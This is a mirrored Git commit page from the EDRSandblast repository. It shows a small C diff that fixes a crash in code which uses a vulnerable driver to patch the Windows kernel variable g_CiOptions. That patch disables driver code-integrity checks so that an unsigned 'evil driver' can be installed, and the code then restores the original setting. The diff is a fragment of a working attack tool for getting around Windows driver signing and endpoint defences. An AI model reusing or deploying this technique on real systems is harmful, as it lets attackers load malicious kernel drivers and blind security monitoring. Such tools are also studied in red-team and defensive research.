mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-08 16:37:12 +00:00
g_CiOptions patching: fixed a crash
This commit is contained in:
@@ -742,7 +742,7 @@ Other options:\n\
|
||||
}
|
||||
_putts_or_not(TEXT("[+] Using the vulnerable driver to disable CI...")); // debug print
|
||||
ULONG CiOptionsValue = 0;
|
||||
PULONG OldCiOptionsValue;
|
||||
ULONG OldCiOptionsValue;
|
||||
patch_gCiOptions(g_CiOptionsAddress, CiOptionsValue, &OldCiOptionsValue);
|
||||
LPTSTR evilServiceNameIfAny = NULL;
|
||||
BOOL isEvilDriverAlreadyRunning = IsDriverServiceRunning(unsignedDriverPath, &evilServiceNameIfAny);
|
||||
@@ -757,7 +757,7 @@ Other options:\n\
|
||||
_putts_or_not(TEXT("[!] An error occurred while installing the evil driver"));
|
||||
}
|
||||
_putts_or_not(TEXT("[+] Using the vulnerable driver to reset original CI status")); // debug print
|
||||
patch_gCiOptions(g_CiOptionsAddress, *OldCiOptionsValue, &OldCiOptionsValue);
|
||||
patch_gCiOptions(g_CiOptionsAddress, OldCiOptionsValue, &OldCiOptionsValue);
|
||||
}
|
||||
}
|
||||
else {
|
||||
@@ -766,7 +766,6 @@ Other options:\n\
|
||||
}
|
||||
}
|
||||
}
|
||||
// END WIP
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user